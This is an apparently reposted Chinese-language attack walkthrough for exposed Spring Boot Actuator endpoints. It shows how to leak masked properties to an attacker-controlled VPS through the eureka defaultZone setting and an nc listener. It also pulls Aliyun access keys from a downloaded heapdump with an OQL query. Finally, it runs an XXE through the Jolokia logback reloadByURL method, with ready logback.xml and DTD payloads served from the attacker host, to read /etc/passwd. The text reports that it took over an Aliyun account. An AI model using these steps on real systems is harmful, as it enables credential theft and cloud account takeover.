


方法一:
通过post方法传递带星号的明文值到自己的vps上查看
GET 请求目标网站的 /env 或 /actuator/env 接口,搜索 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。
使用 nc 监听 HTTP 请求
在自己控制的外网服务器上监听 80 端口:
nc -lvk 80
设置 eureka.client.serviceUrl.defaultZone 属性。
将下面
http://value:${security.user.password}@your-vps-ip中的 security.user.password 换成自己想要获取的对应的星号 * 遮掩的属性名;
your-vps-ip 换成自己外网服务器的真实 ip 地址。


方法二:
从内存文件中读取带星号的明文
访问http://xxx/heapdump下载内存文件。
这时候就可以利用 Eclipse Memory Analyzer 工具(下载地址:https://www.eclipse.org/mat/downloads.php)
来分析 /heapdump 或 /actuator/heapdump 接口下载的 jvm heap 信息,查找阿里云密钥明文。
使用 Eclipse Memory Analyzer 直接打开下载的 heapdump 文件,点击OQL 标签

select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains ("aliyun"))
便能模糊搜索到关于aliyun密钥相关的信息

查看jolokia/list中存在的 Mbeans,并且存在logback 库提供的reloadByURL方法,可以利用jolokia/list接口进行xxe漏洞
漏洞url: http:/xxx.com.cn/actuator/jolokia/list
创建logback.xml和fileread.dtd文件
logback.xml
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE a [ <!ENTITY % remote SYSTEM "http://vpsip/fileread.dtd">%remote;%int;]>
&trick;
fileread.dtd
<!ENTITY % d SYSTEM "file:///etc/passwd">
<!ENTITY % int "<!ENTITY trick SYSTEM ':%d;'>">
命令:python -m SimpleHTTPServer 80

http://xxx.com.cn/actuator/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/vpsip!/logback.xml
成功利用xxe读取到etc/passwd文件内容

翻越命令行,找到了接管阿里云的accesskeyid和accessSerect

(来源:HACK之道)
发表评论